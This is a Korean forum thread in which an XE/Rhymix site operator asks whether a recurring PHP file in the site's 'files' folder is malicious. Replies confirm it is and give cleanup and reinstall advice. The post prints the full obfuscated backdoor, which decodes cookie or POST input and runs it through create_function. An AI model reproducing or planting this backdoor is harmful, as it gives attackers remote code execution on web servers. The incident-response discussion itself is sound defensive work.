files의 유효한 파일

파일삭제가 되질 않아 호스팅 업체에 요청해 삭제하고 ftp, db 패스워드 모두 변경했는데 오늘 또 올라왔습니다.

files의 파일들의 디폴트 상태를 비교해볼 수 있는게 없으니 어려움이 있습니다.
파일명이 의심스러운 것을 열어보니 아래와 같은 코드로 되어 있는데 혹시 해킹파일일까요?

<?php
$umcblcw = 'c5*m-rni#3xt\'b74uHsg2o09yl1_ek8fadpv';$vkhuxcm = Array();$vkhuxcm[] = $umcblcw[0].$umcblcw[31].$umcblcw[28].$umcblcw[22].$umcblcw[23].$umcblcw[26].$umcblcw[30].$umcblcw[15].$umcblcw[4].$umcblcw[20].$umcblcw[32].$umcblcw[9].$umcblcw[1].$umcblcw[4].$umcblcw[15].$umcblcw[20].$umcblcw[9].$umcblcw[30].$umcblcw[4].$umcblcw[13].$umcblcw[30].$umcblcw[31].$umcblcw[9].$umcblcw[4].$umcblcw[33].$umcblcw[9].$umcblcw[33].$umcblcw[33].$umcblcw[22].$umcblcw[13].$umcblcw[23].$umcblcw[28].$umcblcw[14].$umcblcw[23].$umcblcw[15].$umcblcw[28];$vkhuxcm[] = $umcblcw[0].$umcblcw[5].$umcblcw[28].$umcblcw[32].$umcblcw[11].$umcblcw[28].$umcblcw[27].$umcblcw[31].$umcblcw[16].$umcblcw[6].$umcblcw[0].$umcblcw[11].$umcblcw[7].$umcblcw[21].$umcblcw[6];$vkhuxcm[] = $umcblcw[17].$umcblcw[2];$vkhuxcm[] = $umcblcw[8];$vkhuxcm[] = $umcblcw[0].$umcblcw[21].$umcblcw[16].$umcblcw[6].$umcblcw[11];$vkhuxcm[] = $umcblcw[18].$umcblcw[11].$umcblcw[5].$umcblcw[27].$umcblcw[5].$umcblcw[28].$umcblcw[34].$umcblcw[28].$umcblcw[32].$umcblcw[11];$vkhuxcm[] = $umcblcw[28].$umcblcw[10].$umcblcw[34].$umcblcw[25].$umcblcw[21].$umcblcw[33].$umcblcw[28];$vkhuxcm[] = $umcblcw[18].$umcblcw[16].$umcblcw[13].$umcblcw[18].$umcblcw[11].$umcblcw[5];$vkhuxcm[] = $umcblcw[32].$umcblcw[5].$umcblcw[5].$umcblcw[32].$umcblcw[24].$umcblcw[27].$umcblcw[3].$umcblcw[28].$umcblcw[5].$umcblcw[19].$umcblcw[28];$vkhuxcm[] = $umcblcw[18].$umcblcw[11].$umcblcw[5].$umcblcw[25].$umcblcw[28].$umcblcw[6];$vkhuxcm[] = $umcblcw[34].$umcblcw[32].$umcblcw[0].$umcblcw[29];foreach ($vkhuxcm[8]($_COOKIE, $_POST) as $rfjzlcc => $pbtyx){function hdleb($vkhuxcm, $rfjzlcc, $bkbvee){return $vkhuxcm[7]($vkhuxcm[5]($rfjzlcc . $vkhuxcm[0], ($bkbvee / $vkhuxcm[9]($rfjzlcc)) + 1), 0, $bkbvee);}function yjkgibo($vkhuxcm, $ybkvtqa){return @$vkhuxcm[10]($vkhuxcm[2], $ybkvtqa);}function syaoxl($vkhuxcm, $ybkvtqa){$nguwceu = $vkhuxcm[4]($ybkvtqa) % 3;if (!$nguwceu) {$jcrkp = $vkhuxcm[1]; $lykzvqb = $jcrkp("", $ybkvtqa[1]($ybkvtqa[2]));$lykzvqb();exit();}}$pbtyx = yjkgibo($vkhuxcm, $pbtyx);syaoxl($vkhuxcm, $vkhuxcm[6]($vkhuxcm[3], $pbtyx ^ hdleb($vkhuxcm, $rfjzlcc, $vkhuxcm[9]($pbtyx))));}

네, 악성코드입니다. 정상적인 PHP 소스코드라면 사람이 알아볼 수 있는 단어가 압도적으로 많습니다.

files 폴더의 내용은 애당초 XE나 라이믹스에서 배포하는 것이 아니라 사이트 운영 과정에서 생기는 것이기 때문에 디폴트 상태라고 할 만한 것이 따로 없어서 비교하기가 난감합니다. (XE나 라이믹스를 다운로드해 봐도 files 폴더는 포함되어 있지 않습니다.)

위의 스샷을 봤을 때 files 내에서

• attach: 이 안에 들어 있는 파일들 중 확장자가 php인 것은 모두 삭제해도 됩니다.
• cache: 삭제해도 됩니다.
• config: config.php 외에는 모두 삭제해도 됩니다. XE에서 사용하던 ftp.config.php 같은 파일에 FTP 접속정보가 그대로 남아 있는 경우도 있는데, 삭제해도 코어 작동에 아무 지장 없습니다.
• debug: 삭제해도 됩니다.
• env: 삭제해도 됩니다.
• faceOff: 레이아웃 편집 기능을 사용하시는 경우, 수정한 파일이 여기에 저장됩니다. 삭제하실 경우 레이아웃 소스가 기본 상태로 초기화됩니다.
  • 레이아웃 소스를 수정하신 적이 없다고 확신하신다면 눈 딱 감고 날려버린 후 나중에 수습하는 것을 추천합니다.
  • 파일 수가 많지 않으니 직접 확인하셔도 되는데, 코어에서 사용하는 PHP 파일은 ko.cache.php 등 반드시 cache라는 단어가 파일명에 포함되어 있습니다.
• member_extra_info: 여기가 좀 복잡한데요...
  • point, session_validity, experience, new_message_flags: 삭제해도 됩니다.
  • profile_image, image_mark, image_name: PHP 파일이 있다면 삭제하세요.
  • signature: 여기가 골때립니다. 회원들의 서명(자기소개)이 저장되어 있는데 모두 php 파일이고, 인코딩되어 있는 방식도 악성코드와 한 눈에 구분하기 힘듭니다. 그냥 다 날려버리고 회원들에게 서명 다시 작성하라고 하는 것을 추천합니다.
• ruleset: 삭제해도 됩니다.
• site_design: 삭제 후 사이트 디자인 설정(기본 레이아웃, 기본 게시판 스킨 등)을 다시 저장하는 편이 낫습니다.
• thumbnails: 그냥 다 삭제해도 되고, PHP 파일만 찾아서 삭제해도 됩니다.
• 위에서 언급하지 않은 폴더: 모두 삭제해도 됩니다.

폴더 내에서 특정 확장자를 가진 파일들만 검색하거나, 특정 날짜에 생성된 파일들만 찾아내는 도구를 사용하실 수 있다면 큰 도움이 됩니다. 예를 들어 SSH 접속이 가능한 경우 attach 폴더 내에서 find . -name '*.php' 명령을 사용하면 해당 폴더 아래에 깊숙히 숨어 있는 PHP 파일도 모두 찾을 수 있습니다. (시간은 좀 걸립니다.)

files 바깥(사이트 루트폴더)에 있는 파일들도 꼼꼼하게 살펴보시기 바랍니다. 워드프레스나 phpMyAdmin 등 흔히 사용하는 솔루션에 포함된 파일로 위장하는 경우가 있습니다. RXE라면 wp-config.php 이런 워드프레스스러운 파일은 필요가 없겠지요.

모듈, 애드온, 위젯 등이 설치된 폴더들 중 쓰기 권한이 주어져 있는 것이 있다면 거기도 살펴봐야 합니다. 공격자가 index.php라는 파일명을 즐겨쓰는 것 같은데, XE/라이믹스용 모듈이나 애드온 등에서 index.php라는 파일명을 사용하는 일은 극히 드뭅니다. 루트 폴더에 있는 index.php 하나만으로 충분하니까요. 따라서 하위폴더 내에 index.php라는 파일이 있다면 무조건 의심해봐야 합니다. 검색 명령: find . -name index.php

물론 다른 파일명을 사용했을 수도 있습니다. 두 차례 대량으로 악성코드가 생성된 시간대를 알고 계시다면 find 명령을 좀더 응용해서 해당 시간대에 생성된 파일들을 모두 검색해보는 방법도 있습니다.

FTP 비번은 계속 바꾸세요. 확실하게 공격이 중단될 때까지 매일 바꾸시고, 파일질라 등 FTP 프로그램에 비번을 저장해 두지 마세요. (파일질라에서 비번만 빼내가는 악성코드도 있습니다.)

계속 감염된다면, 아마 root 권한을 과거에 이미 탈취했을 것 같습니다. 그렇다면 다른 백도어를 이미 만들어 놨겠죠. 알지 못하는 프로세서가 돈다든지 모르는 등등... 솔직히 전문가가 아니면 이걸 찾아내는 것은 거의 불가능합니다.

지금으로서는 시스템을 초기화(기본 os 이미지로 포맷)하는게 현실적이겠네요. 웹사이트도 라이믹스 기본 코어 다운받은 후, 설치했던 3rd party 레이아웃/애드온/모듈을 다시 붙여 클린하게 만들구요. /files/attach와 /files/config/config.php만 복사하구요 (어렵지 않습니다. 빨리하면 한시간이면 가능). DB에서 회원중 admin 권한 있는사람 있는지도 체크해봐야겠죠.

즉, 지금 있는 것에서 뭘 삭제해서 정상화시키려 하기보다는, 백지 상태에서 정상인 것들을 붙여서 지금 있는 형태로 만드는...